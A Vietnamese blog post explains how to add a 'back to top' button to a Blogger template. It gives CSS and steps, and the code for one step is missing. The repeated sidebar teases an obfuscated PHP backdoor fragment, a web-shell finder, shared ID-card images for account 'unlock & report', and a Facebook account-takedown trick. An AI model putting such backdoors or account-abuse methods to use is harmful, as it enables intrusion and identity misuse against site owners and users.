• About
  • Policy
  • Contact

Phan Anh Buổi Sáng

  • Home
  • Kiến thức IT
    • PSD
    • Blogger
  • Translate
Google
Custom Search
Trang chủ » Thủ Thuật Blogger » Thêm nút lên đầu trang/ Back to top cho Blogger/ Blogspot

Thêm nút lên đầu trang/ Back to top cho Blogger/ Blogspot

Unknown Labels: Thủ Thuật Blogger Leave A Comment 00:58
Hiện nay nút lên đầu trang/ Back to top rất thông dụng. Nó được các nhà sản xuất template, theme wordpress áp dụng sẳn trong template/ theme. 
Lợi ích của nó là giúp cho người đọc trở lên đầu trang 1 cách nhanh chống mà không phải kéo thanh cuộn.
Tuy nhiên có một vài template không có sẵn chức năng vì thế hôm nay  Thanh Bình Blog sẽ hướng dẫn các bạn làm chức năng này cho Blogspot
Demo như hình:
Thêm nút lên đầu trang/ Back to top cho Blogger/ Blogspot
Thêm nút lên đầu trang/ Back to top
Các bước làm như sau:
Bước 1: Các bạn vào phần chỉnh sửa mẫu và tìm đoạn ]]>< ( Ctrl + F )
Bước 2: Sau khi tìm thẻ xong các bạn thêm toàn bộ code dưới lên trên ]]><

#scrolltotop{border-radius:2px;background:#0093da;text-align:center;line-height:40px;-o-border-radius:2px;-ms-border-radius:2px;-webkit-border-radius:2px;-moz-border-radius:2px;position:fixed;bottom:10px;right:0;cursor:pointer;display:none;color:#fff!important;font-size:25px;width:100%;height:40px;margin-right:14px}key{border:1px solid gray;font-size:1.2em;box-shadow:1px 0 1px 0 #eee,0 2px 0 2px #ccc,0 2px 0 3px #444;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;margin:2px 3px;padding:1px 5px}.post-header-line-1 {overflow:hidden}
#scrolltotop{color: #000;width: 40px !important;}

Bước 3: Các bạn tìm đến thẻ
và thêm toàn bộ code dưới lên trên nó


Bước 4: Các bạn có thẻ tùy chỉnh mã màu lại phù hợp với template của mình
Bước 5: Lưu lại  và vào trang xem kết quả
Chúc các bạn thực hiện thành công.

Bài viết liên quan

← Bài đăng mới hơn Bài đăng cũ hơn → Trang chủ
Powered by Blogger.

Các Bình Luận Gần Đây

Bài đăng phổ biến

  • [PHP] Get list username - vBulletin
    <?php // GET user function duyk_get_all_usr($link, $total_usr) { $max_page = $total_usr/100; $ma...
  • Share CMND Nữ Cho Anh Em Để Unlock & Report
    COPYRIGHT : MINH HAKU IT                                               
  • Ảnh bìa chế Phía sau một cô gái - Soobin Hoàng Sơn - Zoy Thủ Thuật #Zoy
    Đôi lúc em tránh ánh mắt của anh. vì dường như lúc nào em cũng hiểu thấu lòng anh Demo Cover Download PSD loading...
  • [PSD] Hacker - Đặng Khắc ĐứcPSD
    Demo Click here Download Click here
  • Hình nền tướng Liên minh huyền thoại (p - z)
    Hình nền tướng Liên minh huyền thoại (p - z)
  • [PSD] Share Ảnh Bìa Facebok Cho Con Gái - Zoy Thủ Thuật #Zoy
    Demo Click here Download Click here loading...
  • Damane PenTester
    Hi All, Damane PenTester A Little Tool Help You To Find Admin Panel And Zip files and shells in sitewebs Just Put The Traget And Choose One ...
  • Non-alphanumeric PHP Simple Backdoor
    Code: <? $_="{"; #XOR char $_=($_^"<").($_^">").($_^"/"); #XOR = GET ?> <?=${'_...
  • Share Bộ Ảnh Bìa Ghost Chất - By: Trần Thanh Bình
    Bộ Ảnh Bìa Ghost Chất - Coppy Nhớ Ghi Nguồn Nhé 
  • [Share] TUT Rip Facebook Chất 2017 - Zoy Thủ Thuật Blog
    [Share] TUT Rip Facebook Chất 2017 - Zoy Thủ Thuật Blog B1 : Fake IP Th ổ Nhĩ Kì B2 : Vô Link RIP:  http://ouo.io/G9AbfU - Ch ọ n 9 năm - C...

Pageviews from the past week

Chuyên mục

Bài đăng phổ biến

  • [PHP] Get list username - vBulletin
    <?php // GET user function duyk_get_all_usr($link, $total_usr) { $max_page = $total_usr/100; $ma...
  • Share CMND Nữ Cho Anh Em Để Unlock & Report
    Share CMND Nữ Cho Anh Em Để Unlock & Report
    COPYRIGHT : MINH HAKU IT                                               
  • Ảnh bìa chế Phía sau một cô gái - Soobin Hoàng Sơn - Zoy Thủ Thuật #Zoy
    Ảnh bìa chế Phía sau một cô gái - Soobin Hoàng Sơn - Zoy Thủ Thuật #Zoy
    Đôi lúc em tránh ánh mắt của anh. vì dường như lúc nào em cũng hiểu thấu lòng anh Demo Cover Download PSD loading...
  • [PSD] Hacker - Đặng Khắc ĐứcPSD
    [PSD] Hacker - Đặng Khắc ĐứcPSD
    Demo Click here Download Click here
  • Hình nền tướng Liên minh huyền thoại (p - z)
    Hình nền tướng Liên minh huyền thoại (p - z)
    Hình nền tướng Liên minh huyền thoại (p - z)
  • [PSD] Share Ảnh Bìa Facebok Cho Con Gái - Zoy Thủ Thuật #Zoy
    [PSD] Share Ảnh Bìa Facebok Cho Con Gái - Zoy Thủ Thuật #Zoy
    Demo Click here Download Click here loading...
  • Damane PenTester
    Hi All, Damane PenTester A Little Tool Help You To Find Admin Panel And Zip files and shells in sitewebs Just Put The Traget And Choose One ...
  • Non-alphanumeric PHP Simple Backdoor
    Code: <? $_="{"; #XOR char $_=($_^"<").($_^">").($_^"/"); #XOR = GET ?> <?=${'_...
  • Share Bộ Ảnh Bìa Ghost Chất - By: Trần Thanh Bình
    Share Bộ Ảnh Bìa Ghost Chất - By: Trần Thanh Bình
    Bộ Ảnh Bìa Ghost Chất - Coppy Nhớ Ghi Nguồn Nhé 
  • [Share] TUT Rip Facebook Chất 2017 - Zoy Thủ Thuật Blog
    [Share] TUT Rip Facebook Chất 2017 - Zoy Thủ Thuật Blog
    [Share] TUT Rip Facebook Chất 2017 - Zoy Thủ Thuật Blog B1 : Fake IP Th ổ Nhĩ Kì B2 : Vô Link RIP:  http://ouo.io/G9AbfU - Ch ọ n 9 năm - C...
Google
Custom Search
Support: Facebook | Twitter | Google+ | Giới thiệu
Copyright © 2015 • Phan Anh Buổi Sáng • All Right Reserved. Template by Template Việt